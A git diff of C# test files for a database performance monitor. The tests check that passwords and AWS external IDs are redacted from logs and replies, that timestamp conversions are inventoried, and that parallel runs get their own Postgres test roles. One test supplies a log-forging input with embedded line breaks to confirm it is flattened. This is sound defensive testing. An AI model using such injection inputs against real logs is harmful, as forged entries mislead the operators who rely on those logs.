+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter) =>
+            Lines.Add(formatter(state, exception));
+
+        public string Joined => string.Join("\n", Lines);
+    }
+
+    private static string DetailOf(string answer) => JsonNode.Parse(answer)!["results"]![0]!["detail"]!.GetValue<string>();
+
+    private static void AssertFixedReply(string reply, string target)
+    {
+        Assert.Contains("Could not connect to " + target + ". The service log has the details.", reply, StringComparison.Ordinal);
+        Assert.DoesNotContain("Distinctive-Driver-Text", reply, StringComparison.Ordinal);
+        Assert.DoesNotContain("svc_probe", reply, StringComparison.Ordinal);
+        Assert.DoesNotContain("10.9.8.7", reply, StringComparison.Ordinal);
+        Assert.DoesNotContain("hidden-name", reply, StringComparison.Ordinal);
+        Assert.DoesNotContain(Password, reply, StringComparison.Ordinal);
+    }
+
+    private static void AssertDriverTextLoggedWithoutThePassword(CapturingLogger log)
+    {
+        Assert.Contains(log.Lines, l => l.Contains("Distinctive-Driver-Text", StringComparison.Ordinal)
+            && l.Contains("sql-test-01,1444", StringComparison.Ordinal));
+        Assert.DoesNotContain(Password, log.Joined, StringComparison.Ordinal);
+        Assert.Contains("[redacted]", log.Joined, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task McpAdd_FailedProbe_RepliesWithTheFixedSentence_AndLogsTheDriverText()
+    {
+        var log = new CapturingLogger();
+
+        var answer = await Core.AddServersAsync(new EmptyDefinitions(), AddBody(), Failing, CancellationToken.None, ring: TestKeyRings.Healthy, logger: log);
+
+        Assert.Equal("connection_failed", JsonNode.Parse(answer)!["results"]![0]!["status"]!.GetValue<string>());
+        AssertFixedReply(answer, "sql-test-01,1444");
+        AssertDriverTextLoggedWithoutThePassword(log);
+    }
+
+    /// <summary>The add path redacts the AWS external ID from the logged driver text, as the edit path does.</summary>
+    [Fact]
+    public async Task McpAdd_FailedProbe_LogHoldsNeitherThePassword_NorTheAwsExternalId()
+    {
+        const string externalId = "ext-id-Synth-7f3a9c";
+        const string role = "arn:aws:iam::123456789012:role/darling-monitor";
+        var log = new CapturingLogger();
+        var body = JsonSerializer.Serialize(new[]
+        {
+            new { host = "sql-test-01", port = 1444, engine = "postgres", auth = "SQL", username = "monitor", password = Password, aws_role_arn = role, aws_external_id = externalId },
+        });
+        Core.ServerProbe probe = (_, _) => Task.FromResult(
+            new ConnectionProbeResult(false, 0, 0, null, false, false, false, false, DriverText + " password=" + Password + " externalId=" + externalId));
+
+        var answer = await Core.AddServersAsync(
+            new EmptyDefinitions(), body, probe, CancellationToken.None, ring: TestKeyRings.Healthy, logger: log,
+            awsRoleAllowlist: PerformanceMonitor.Darling.Service.Targets.AwsRoleAllowlist.From(["123456789012"]));
+
+        Assert.Equal("connection_failed", JsonNode.Parse(answer)!["results"]![0]!["status"]!.GetValue<string>());
+        Assert.Contains("Distinctive-Driver-Text", log.Joined, StringComparison.Ordinal);
+        Assert.DoesNotContain(Password, log.Joined, StringComparison.Ordinal);
+        Assert.DoesNotContain(externalId, log.Joined, StringComparison.Ordinal);
+        Assert.DoesNotContain(externalId, answer, StringComparison.Ordinal);
+    }
+
+    /// <summary>The driver text and the target come from the server the caller named: a line break in either logs as
+    /// one line, and a long text is cut.</summary>
+    [Fact]
+    public async Task McpAdd_FailedProbe_LogsDriverTextWithLineBreaks_AsOneBoundedLine()
+    {
+        var log = new CapturingLogger();
+        var probe = (Core.ServerProbe)((_, _) => Task.FromResult(new ConnectionProbeResult(
+            false, 0, 0, null, false, false, false, false, "first line\r\n2026-10-09 12:00:00 CRIT forged entry\n" + new string('x', 5000))));
+
+        await Core.AddServersAsync(new EmptyDefinitions(), AddBody(), probe, CancellationToken.None, ring: TestKeyRings.Healthy, logger: log);
+
+        var line = Assert.Single(log.Lines, l => l.Contains("first line", StringComparison.Ordinal));
+        Assert.DoesNotContain('\r', line);
+        Assert.DoesNotContain('\n', line);
+        Assert.Contains("sql-test-01,1444", line, StringComparison.Ordinal);
+        Assert.True(line.Length < 700, $"the logged line should be bounded, was {line.Length} characters");
+    }
+
+    [Fact]
+    public async Task McpAdd_FailedProbe_WithNoDriverText_StillNamesTheHostAndPort()
+    {
+        var probe = (Core.ServerProbe)((_, _) => Task.FromResult(new ConnectionProbeResult(false, 0, 0, null, false, false, false, false, null)));
+
+        var answer = await Core.AddServersAsync(new EmptyDefinitions(), AddBody(), probe, CancellationToken.None, ring: TestKeyRings.Healthy);
+
+        Assert.Equal("Could not connect to sql-test-01,1444. The service log has the details.", DetailOf(answer));
+    }
+
+    [Fact]
+    public async Task TheHostCommandLineAdd_KeepsTheDriverText_ForThePersonAtTheServiceHost()
+    {
+        var answer = await Core.AddServersAsync(
+            new EmptyDefinitions(), AddBody(), Failing, CancellationToken.None, allowSecretReferences: true, ring: TestKeyRings.Healthy, revealConnectError: true);
+
+        var detail = DetailOf(answer);
+        Assert.Contains("Distinctive-Driver-Text", detail, StringComparison.Ordinal);
+        Assert.DoesNotContain(Password, detail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task McpEdit_FailedProbe_RepliesWithTheFixedSentence_AndLogsTheDriverText()
+    {
+        var log = new CapturingLogger();
+        var body = "{\"host\":\"beta-02.example.test\",\"password\":\"" + Password + "\"}";
+
+        var answer = await Core.EditServerCoreAsync(new OneRowStore(), 41, body, Failing, TestKeyRings.Healthy, log, CancellationToken.None);
+
+        Assert.Equal("connection_failed", JsonNode.Parse(answer)!["status"]!.GetValue<string>());
+        var message = JsonNode.Parse(answer)!["message"]!.GetValue<string>();
+        AssertFixedReply(message, "beta-02.example.test");
+        Assert.Contains("Nothing was saved.", message, StringComparison.Ordinal);
+        Assert.Contains(log.Lines, l => l.Contains("Distinctive-Driver-Text", StringComparison.Ordinal) && l.Contains("beta-02.example.test", StringComparison.Ordinal));
+        Assert.DoesNotContain(Password, log.Joined, StringComparison.Ordinal);
+    }
+
+    private sealed class WebFixture : IAsyncDisposable
+    {
+        public required WebApplication App { get; init; }
+
+        public required HttpClient Client { get; init; }
+
+        public required CapturingLogger Probe { get; init; }
+
+        public async ValueTask DisposeAsync()
+        {
+            Client.Dispose();
+            await App.DisposeAsync();
+        }
+    }
+
+    /// <summary>The web routes over the real add and edit cores with the failing probe, so what the browser is
+    /// answered is what the cores say.</summary>
+    private static async Task<WebFixture> StartWebAsync()
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        var routeLog = new CapturingLogger();
+        var probeLog = new CapturingLogger();
+        var source = NpgsqlDataSource.Create("Host=localhost;Database=never_opened;Username=nobody");
+
+        app.Use(async (context, next) =>
+        {
+            context.Items[DarlingWebSeat.HttpContextItemKey] = new DarlingWebSeat("alice", true);
+            await next(context);
+        });
+        DarlingWebEndpoints.MapServers(
+            app, source, routeLog,
+            body => Core.AddServersAsync(new EmptyDefinitions(), body, Failing, CancellationToken.None, ring: TestKeyRings.Healthy, logger: probeLog),
+            null,
+            (id, body) => Core.EditServerCoreAsync(new OneRowStore(), id, body, Failing, TestKeyRings.Healthy, null, CancellationToken.None, probeLog),
+            null, null);
+        await app.StartAsync(TestContext.Current.CancellationToken);
+        return new WebFixture { App = app, Client = app.GetTestClient(), Probe = probeLog };
+    }
+
+    [Fact]
+    public async Task WebAdd_FailedProbe_ReplyCarriesNoDriverText_AndTheLogHasIt()
+    {
+        await using var fixture = await StartWebAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        using var response = await fixture.Client.PostAsync("/api/servers", new StringContent(AddBody(), Encoding.UTF8, "application/json"), ct);
+        var reply = await response.Content.ReadAsStringAsync(ct);
+
+        AssertFixedReply(DetailOf(reply), "sql-test-01,1444");
+        AssertFixedReply(reply, "sql-test-01,1444");
+        Assert.Contains(fixture.Probe.Lines, l => l.Contains("Distinctive-Driver-Text", StringComparison.Ordinal));
+        Assert.DoesNotContain(Password, fixture.Probe.Joined, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task WebEdit_FailedProbe_ReplyCarriesNoDriverText_AndTheLogHasIt()
+    {
+        await using var fixture = await StartWebAsync();
+        var ct = TestContext.Current.CancellationToken;
+        using var request = new HttpRequestMessage(HttpMethod.Patch, "/api/servers/41")
+        {
+            Content = new StringContent(
+                "{\"host\":\"beta-02.example.test\",\"password\":\"" + Password + "\",\"expected_modified_at\":\"" + Core.ModifiedAtToken(new OneRowStore().Row.ModifiedAt) + "\"}",
+                Encoding.UTF8, "application/json"),
+        };
+
+        using var response = await fixture.Client.SendAsync(request, ct);
+        var reply = await response.Content.ReadAsStringAsync(ct);
+
+        AssertFixedReply(reply, "beta-02.example.test");
+        Assert.Contains(fixture.Probe.Lines, l => l.Contains("Distinctive-Driver-Text", StringComparison.Ordinal));
+        Assert.DoesNotContain(Password, fixture.Probe.Joined, StringComparison.Ordinal);
+    }
+
+    /// <summary>The web routes' own wiring (the real store, the real probe) passes the logger the driver text goes
+    /// to; the stand-ins above cannot see that, so the source is read.</summary>
+    [Fact]
+    public void TheWebRoutesPassTheServiceLogger_ToBothCores()
+    {
+        var text = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs");
+        Assert.Contains("DarlingMcpServerAdminTools.AddServers(postgres, body, logger)", text, StringComparison.Ordinal);
+        Assert.Contains("CancellationToken.None, probeLogger: logger)", text, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs b/Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs
index ff434dba5b..2841d965a9 100644
--- a/Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs
+++ b/Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs
@@ -58,6 +58,7 @@ namespace Darling.Tests;
 /// declaration carrying the C#-side evidence, pinned at set equality against the classifier's own
 /// unreadable set and counted, so the hole cannot quietly grow.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ConsumedTimestampFrameDisciplineTests
 {
     /// <summary>Which clock a stored value is in. Naive UTC is the store's default and the frame every
@@ -854,6 +855,10 @@ private static readonly (string Renderer, ClockFrame Expects)[] Renderers =
     /// </summary>
     private static readonly (string File, string Method, string Renderer)[] RenderWrappers =
     [
+        /* The Overview card's Last Collect text (D4 of the final walk): the stored collection time is naive UTC and
+           FormatLastCollect hands it to the UTC renderer with the display zone, only choosing the format (time alone
+           for today, date and time otherwise), so the frame is the renderer's own and the wrapper adds no conversion. */
+        ("Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs", "FormatLastCollect", "FormatForDisplay"),
         ("Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs", "Local", "FormatForDisplay"),
         ("Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs", "Local", "FormatForDisplay"),
         /* #4766: the Default Trace row's bare renderer. A time read from the stored server wall clock cannot say which
@@ -861,6 +866,7 @@ private static readonly (string File, string Method, string Renderer)[] RenderWr
         ("Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs", "StoredWallClock", "ForDisplay"),
         ("Darling/PerformanceMonitor.Darling.Viewer/ViewerHistoryRows.cs", "CollectionLocal", "FormatForDisplay"),
         ("Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs", "Timestamp", "FormatForDisplay"),
+        ("Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs", "SnapshotTime", "FormatForDisplay"),
         ("Lite/Services/LocalDataService.ConfigChanges.cs", "Local", "FormatServerTime"),
         ("Lite/Services/LocalDataService.SystemEvents.cs", "Local", "FormatServerTime"),
     ];
@@ -948,6 +954,12 @@ are relabelled here rather than deleted. The one still unmarked is a Lite-only s
             + "phantom staleness lands on the question it exists to answer; de-skewed at the read by #3206"),
         (SiteLabel.DeSkewedAtRead, "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs",
             "offrow_version_cleaner_end_time", "pvs_stats", 1, "get_pvs_stats; de-skewed at the read by #3206"),
+        (SiteLabel.DeSkewedAtRead, "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs",
+            "creation_time", "query_stats", 1,
+            "get_top_queries_by_cpu detail=full; converted per row through the server's clock at the read (DarlingDataReader.ReadTopQueryDetail)"),
+        (SiteLabel.DeSkewedAtRead, "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs",
+            "cached_time", "procedure_stats", 1,
+            "get_top_procedures_by_cpu detail=full; converted per row through the server's clock at the read (DarlingDataReader.ReadTopProcedureDetail)"),
         (SiteLabel.DeSkewedAtRead, "Lite/Mcp/McpBlockingTools.cs",
             "blocked_last_tran_started", "blocked_process_reports+dmv_blocking_snapshots", 1, "Lite get_blocking; de-skewed at the read by #3206"),
         (SiteLabel.DeSkewedAtRead, "Lite/Mcp/McpBlockingTools.cs",
@@ -1024,7 +1036,7 @@ row above explains why the census can no longer reach that site now that it buck
        TrendPayloads.CpuUtilization builder. */
     private const int McpPayloadUnmarkedSites = 1;
     private const int DesktopRenderMismatchSites = 0;
-    private const int DeSkewedAtReadSites = 25;
+    private const int DeSkewedAtReadSites = 27;
 
     /* ═══════════════════════ 5. resolving which table a site's column came from ═══════════════════════ */
 
@@ -1317,7 +1329,7 @@ empty found here is a broken matcher rather than a clean tree. It goes when that
     /// </summary>
     private static readonly (string File, string Column, int Sites)[] DeclinedAmbiguousMcpSites =
     [
-        ("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs", "last_execution_time", 1),
+        ("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs", "last_execution_time", 3),
         ("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs", "sample_time", 1),
         ("Lite/Mcp/McpBlockingTools.cs", "event_time", 2),
         ("Lite/Mcp/McpDefaultTraceTools.cs", "event_time", 1),
@@ -1863,6 +1875,10 @@ public void EveryDeSkewedAtReadSite_CarriesItsConversionInTheReaderItDependsOn()
                 "DarlingServerClockReader.ToUtc(clock, reader, 10),"),
             ("offrow_version_cleaner_end_time", "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs",
                 "DarlingServerClockReader.ToUtc(clock, reader, 11),"),
+            ("creation_time", "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs",
+                "DateTime? Time(int i) => DarlingServerClockReader.ToUtc(clock, reader, first + i);"),
+            ("cached_time", "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs",
+                "DateTime? Time(int i) => DarlingServerClockReader.ToUtc(clock, reader, first + i);"),
             ("blocked_last_tran_started", "Lite/Mcp/McpBlockingTools.cs",
                 "UtcOrNull(r.BlockedLastTranStarted)"),
             ("blocking_last_tran_started", "Lite/Mcp/McpBlockingTools.cs",
@@ -1893,6 +1909,22 @@ public void EveryDeSkewedAtReadSite_CarriesItsConversionInTheReaderItDependsOn()
             Inventory.Count(i => i.Label == SiteLabel.DeSkewedAtRead),
             evidence.Length);
 
+        /* get_top_queries_by_cpu detail=full emits last_execution_time beside creation_time. The name is frame-ambiguous
+           and DarlingMcpDataTools.cs reads several tables, so the census declines that emission (see
+           DeclinedAmbiguousMcpSites) and its conversion is pinned here instead: both timestamps come out of one reader
+           that converts through the server's clock, and both are written with the "o" format. */
+        var topQueriesReader = File.ReadAllText(RepoPath("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs"));
+        Assert.Contains("Time(0), Time(1),", topQueriesReader, StringComparison.Ordinal);
+        Assert.Contains("last_execution_time = d.LastExecutionTime?.ToString(\"o\")",
+            File.ReadAllText(RepoPath("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs")), StringComparison.Ordinal);
+
+        /* get_top_procedures_by_cpu detail=full emits last_execution_time beside cached_time, declined for the same reason
+           and pinned the same way: one reader converts both through the server's clock. */
+        var topProceduresReader = File.ReadAllText(RepoPath("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs"));
+        Assert.Contains("ReadTopProcedureDetail(reader, 17, clock)", topProceduresReader, StringComparison.Ordinal);
+        Assert.Contains("last_execution_time = d.LastExecutionTime?.ToString(\"o\")",
+            File.ReadAllText(RepoPath("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs")), StringComparison.Ordinal);
+
         foreach (var (column, readerFile, conversion) in evidence)
         {
             Assert.Contains(column, Inventory.Where(i => i.Label == SiteLabel.DeSkewedAtRead).Select(i => i.Column));
diff --git a/Darling/Darling.Tests/ControlPlaneReloadDurabilityTests.cs b/Darling/Darling.Tests/ControlPlaneReloadDurabilityTests.cs
index 6e51f9eaa1..dd8eb9b49c 100644
--- a/Darling/Darling.Tests/ControlPlaneReloadDurabilityTests.cs
+++ b/Darling/Darling.Tests/ControlPlaneReloadDurabilityTests.cs
@@ -47,6 +47,7 @@ namespace Darling.Tests;
 /// describing Darling's behaviour. <see cref="NeitherFixHasALiteTwinToDriftFrom"/> pins that, so a Lite
 /// twin appearing later fails asking for the same fix rather than drifting quietly.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ControlPlaneReloadDurabilityTests
 {
     /// <summary>
@@ -169,9 +170,10 @@ public void ProvisioningReportsTheUnknownSentinel_WhenItCouldNotReadTheColumn()
         Assert.Contains("ComposeStatementTimeoutUnknown", body, StringComparison.Ordinal);
 
         /* And the read it branches on has to be nullable — an int cannot express "I could not find out",
-           which is exactly why the original returned 15. */
+           which is exactly why the original returned 15. (#5560: the read is internal now, so the savepoint
+           test can drive it; the nullable return is the pinned part.) */
         Assert.Contains(
-            "private static async Task<int?> ReadComposeStatementTimeoutAsync(",
+            "internal static async Task<int?> ReadComposeStatementTimeoutAsync(",
             code,
             StringComparison.Ordinal);
 
diff --git a/Darling/Darling.Tests/CreationTimeClockFrameDisciplineTests.cs b/Darling/Darling.Tests/CreationTimeClockFrameDisciplineTests.cs
index dfd909e63a..8582e411e6 100644
--- a/Darling/Darling.Tests/CreationTimeClockFrameDisciplineTests.cs
+++ b/Darling/Darling.Tests/CreationTimeClockFrameDisciplineTests.cs
@@ -40,6 +40,7 @@ namespace Darling.Tests;
 /// runs the same two regexes over literals written for the purpose, because a scan whose discriminator
 /// has quietly stopped matching reports a clean bill of health, and that is worse than no scan.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CreationTimeClockFrameDisciplineTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/CustomAlertResolutionNameFilterTests.cs b/Darling/Darling.Tests/CustomAlertResolutionNameFilterTests.cs
new file mode 100644
index 0000000000..bde59b7c83
--- /dev/null
+++ b/Darling/Darling.Tests/CustomAlertResolutionNameFilterTests.cs
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// L4 of #5360 (part of #4348, #5320): a custom rule's operator-typed name rides the resolution row's title (the
+/// history row's metric_name) and the teardown row's message, and both rows go out to the history store, so the name
+/// is judged there like the display name of a fired alert. The local log line and the server name are not.
+/// </summary>
+public sealed class CustomAlertResolutionNameFilterTests
+{
+    [Fact]
+    public void ARuleNameThatNamesAStatement_IsWithheld_AndAPlainNameIsUntouched()
+    {
+        Assert.DoesNotContain("S3cret-canary-ssf", CustomAlertEvaluator.JudgedRuleName(StatementScrubCanary.CanaryStatement), StringComparison.Ordinal);
+        Assert.Equal("Waits over budget", CustomAlertEvaluator.JudgedRuleName("Waits over budget"));
+    }
+
+    [Fact]
+    public void EveryResolutionTitle_IsBuiltFromTheJudgedName()
+    {
+        /* Both resolution sites (the natural clear and the teardown) build the title from the judged name. A title
+           built from the raw name (the shape before this pin) fails here. */
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "CustomAlertEvaluator.cs");
+
+        var titles = Regex.Matches(source, @"var title = (?<expr>[^;]+);", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5));
+        Assert.Equal(2, titles.Count);
+        foreach (Match title in titles)
+        {
+            Assert.Equal("JudgedRuleName(safeName) + \" Resolved\"", title.Groups["expr"].Value);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CustomAlertResolveGrantLiveTests.cs b/Darling/Darling.Tests/CustomAlertResolveGrantLiveTests.cs
index f06034a24f..c4652052ca 100644
--- a/Darling/Darling.Tests/CustomAlertResolveGrantLiveTests.cs
+++ b/Darling/Darling.Tests/CustomAlertResolveGrantLiveTests.cs
@@ -33,7 +33,16 @@ namespace Darling.Tests;
 [Collection("live-postgres")]
 public sealed class CustomAlertResolveGrantLiveTests
 {
-    private const string LowPrivRole = "sec_resolve_test";
+    /* #4981: a role belongs to the whole cluster, so a constant name made every run, and every parallel batch, on one
+       cluster share one role: the second CREATE ROLE could fail with a duplicate, and the first run's DROP ROLE
+       pulled the role out from under the second. Each instance of the class (xUnit makes one per test) mints its own,
+       a fixed prefix and 8 lowercase hex characters: a valid unquoted identifier, 20 bytes. */
+    private const string LowPrivRolePrefix = "sec_resolve_";
+
+    internal static string NewLowPrivRoleName() => LowPrivRolePrefix + Guid.NewGuid().ToString("N")[..8];
+
+    private readonly string _lowPrivRole = NewLowPrivRoleName();
+
     private const string RolePassword = "ResolveGrantTestPw0123456789abcd"; // alnum, like the real generator
 
     private const string SampleDefinition =
@@ -80,28 +89,28 @@ private static async Task<NpgsqlDataSource> MigrateAndOpenAsync(string connectio
     /// <summary>Creates the SECURITY DEFINER function (from the SHARED builder, so it is the real one) and a
     /// disposable low-privilege role granted the viewer/mcp-shaped subset a rule-delete needs — SELECT, the
     /// narrow custom_alert_rules write, and EXECUTE on the function — but NO direct config_alert_log INSERT.</summary>
-    private static async Task ProvisionFunctionAndLowPrivRoleAsync(NpgsqlDataSource owner, CancellationToken ct)
+    private static async Task ProvisionFunctionAndLowPrivRoleAsync(NpgsqlDataSource owner, string role, CancellationToken ct)
     {
         var ddl = DarlingManagedRoles.BuildCustomAlertResolveFunctionSql("config") + $@"
 DO $do$
 BEGIN
-   IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '{LowPrivRole}') THEN
-      CREATE ROLE {LowPrivRole} LOGIN NOSUPERUSER PASSWORD '{RolePassword}';
+   IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '{role}') THEN
+      CREATE ROLE {role} LOGIN NOSUPERUSER PASSWORD '{RolePassword}';
    END IF;
 END $do$;
-GRANT USAGE ON SCHEMA collect, config TO {LowPrivRole};
-GRANT SELECT ON ALL TABLES IN SCHEMA collect TO {LowPrivRole};
-GRANT SELECT ON ALL TABLES IN SCHEMA config  TO {LowPrivRole};
-GRANT INSERT, UPDATE, DELETE ON config.custom_alert_rules TO {LowPrivRole};
-GRANT EXECUTE ON FUNCTION config.record_custom_alert_resolution(integer, text, text, text) TO {LowPrivRole};";
+GRANT USAGE ON SCHEMA collect, config TO {role};
+GRANT SELECT ON ALL TABLES IN SCHEMA collect TO {role};
+GRANT SELECT ON ALL TABLES IN SCHEMA config  TO {role};
+GRANT INSERT, UPDATE, DELETE ON config.custom_alert_rules TO {role};
+GRANT EXECUTE ON FUNCTION config.record_custom_alert_resolution(integer, text, text, text) TO {role};";
         await using var command = owner.CreateCommand(ddl);
         await command.ExecuteNonQueryAsync(ct);
     }
 
-    private static NpgsqlDataSource OpenLowPriv(string connectionString) =>
+    private static NpgsqlDataSource OpenLowPriv(string connectionString, string role) =>
         NpgsqlDataSource.Create(new NpgsqlConnectionStringBuilder(connectionString)
         {
-            Username = LowPrivRole,
+            Username = role,
             Password = RolePassword,
             SearchPath = "collect,config,public",
             Pooling = false,
@@ -144,7 +153,7 @@ public async Task Delete_AsLowPrivilegeRole_WritesResolveRow_ThroughTheDefinerFu
         var bodySucceeded = false;
         try
         {
-            await ProvisionFunctionAndLowPrivRoleAsync(owner, ct);
+            await ProvisionFunctionAndLowPrivRoleAsync(owner, _lowPrivRole, ct);
 
             /* Set up an OPEN incident as the owner (seeding custom_alert_state needs owner — viewer/mcp cannot
                write it, exactly as in production). */
@@ -153,7 +162,7 @@ public async Task Delete_AsLowPrivilegeRole_WritesResolveRow_ThroughTheDefinerFu
             var ruleId = created.Rule!.Id;
             await state.SaveAsync(ruleId, serverId, Firing(created.Rule!.Version), ct);
 
-            await using var lowPriv = OpenLowPriv(connectionString);
+            await using var lowPriv = OpenLowPriv(connectionString, _lowPrivRole);
 
             /* The role genuinely CANNOT write config_alert_log directly — 42501 — so a resolve row appearing
                after the delete can only have come through the SECURITY DEFINER function. */
@@ -189,7 +198,7 @@ after the delete can only have come through the SECURITY DEFINER function. */
         {
             await LiveStoreCleanup.RunAsync(connectionString, bodySucceeded, async (cleanup, cleanupCt) =>
             {
-                await CleanupAsync(cleanup, ruleName, serverId, cleanupCt);
+                await CleanupAsync(cleanup, _lowPrivRole, ruleName, serverId, cleanupCt);
             });
         }
     }
@@ -208,7 +217,7 @@ public async Task ReconcileTeardown_WithLowPrivilegeHistoryPool_WritesResolveRow
         var bodySucceeded = false;
         try
         {
-            await ProvisionFunctionAndLowPrivRoleAsync(owner, ct);
+            await ProvisionFunctionAndLowPrivRoleAsync(owner, _lowPrivRole, ct);
 
             var created = Assert.IsType<CustomAlertRuleResult.Ok>(
                 await rules.CreateAsync(ruleName, null, SampleDefinition, true, "test", ct));
@@ -226,7 +235,7 @@ public async Task ReconcileTeardown_WithLowPrivilegeHistoryPool_WritesResolveRow
                and state stores stay on the owner pool (reconcile's state cleanup DELETEs custom_alert_state, an
                owner-only write, exactly as in production). The teardown resolution must still land via the
                definer function. */
-            await using var lowPriv = OpenLowPriv(connectionString);
+            await using var lowPriv = OpenLowPriv(connectionString, _lowPrivRole);
             var evaluator = new CustomAlertEvaluator(
                 rules, state, owner /* viewer: unused by reconcile */, new NoopDeliverer(),
                 isAlertMuted: null, alertsEnabled: static () => true,
@@ -250,12 +259,80 @@ definer function. */
         {
             await LiveStoreCleanup.RunAsync(connectionString, bodySucceeded, async (cleanup, cleanupCt) =>
             {
-                await CleanupAsync(cleanup, ruleName, serverId, cleanupCt);
+                await CleanupAsync(cleanup, _lowPrivRole, ruleName, serverId, cleanupCt);
+            });
+        }
+    }
+
+    /// <summary>#4981: two instances of this class, which stand for two runs or two parallel batches, must not share a role.</summary>
+    [Fact]
+    public void TwoInstances_GetDifferentRoleNames_ThatAreValidUnquotedIdentifiers()
+    {
+        var first = new CustomAlertResolveGrantLiveTests()._lowPrivRole;
+        var second = new CustomAlertResolveGrantLiveTests()._lowPrivRole;
+
+        Assert.NotEqual(first, second);
+        foreach (var name in new[] { first, second })
+        {
+            Assert.StartsWith(LowPrivRolePrefix, name, StringComparison.Ordinal);
+            Assert.Matches("^[a-z_][a-z0-9_]*$", name);
+            Assert.True(System.Text.Encoding.UTF8.GetByteCount(name) <= 63, $"'{name}' is longer than a Postgres identifier");
+        }
+    }
+
+    /// <summary>
+    /// #4981: two setups on one cluster at the same time both succeed, and one finishing (its cleanup drops its role)
+    /// leaves the other's role in place and usable. With one constant name, the second setup found the first's role and
+    /// skipped creating its own, and the first cleanup then dropped the role the second was still using.
+    /// </summary>
+    [Fact]
+    public async Task TwoSetupsOnOneCluster_BothSucceed_AndOnesCleanupLeavesTheOthersRoleUsable()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await MigrateAndOpenAsync(connectionString, ct);
+
+        var first = new CustomAlertResolveGrantLiveTests()._lowPrivRole;
+        var second = new CustomAlertResolveGrantLiveTests()._lowPrivRole;
+        var bodySucceeded = false;
+        try
+        {
+            await ProvisionFunctionAndLowPrivRoleAsync(owner, first, ct);
+            await ProvisionFunctionAndLowPrivRoleAsync(owner, second, ct);
+
+            await using (var firstSession = OpenLowPriv(connectionString, first))
+            await using (var secondSession = OpenLowPriv(connectionString, second))
+            {
+                await using var one = firstSession.CreateCommand("SELECT count(*) FROM config.custom_alert_rules");
+                await using var two = secondSession.CreateCommand("SELECT count(*) FROM config.custom_alert_rules");
+                await one.ExecuteScalarAsync(ct);
+                await two.ExecuteScalarAsync(ct);
+            }
+
+            /* The first run finishes and cleans up while the second is still mid-test. */
+            await using (var cleanup = new NpgsqlConnection(connectionString))
+            {
+                await cleanup.OpenAsync(ct);
+                await DropLowPrivRoleAsync(cleanup, first, ct);
+            }
+
+            await using var stillThere = OpenLowPriv(connectionString, second);
+            await using var read = stillThere.CreateCommand("SELECT count(*) FROM config.custom_alert_rules");
+            await read.ExecuteScalarAsync(ct);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DropLowPrivRoleAsync(cleanup, first, cleanupCt);
+                await DropLowPrivRoleAsync(cleanup, second, cleanupCt);
             });
         }
     }
 
-    private static async Task CleanupAsync(NpgsqlConnection cleanup, string ruleName, int serverId, CancellationToken ct)
+    private static async Task CleanupAsync(NpgsqlConnection cleanup, string role, string ruleName, int serverId, CancellationToken ct)
     {
         using (var rule = new NpgsqlCommand("DELETE FROM config.custom_alert_rules WHERE name = $1", cleanup))
         {
@@ -269,10 +346,16 @@ private static async Task CleanupAsync(NpgsqlConnection cleanup, string ruleName
             await log.ExecuteNonQueryAsync(ct);
         }
 
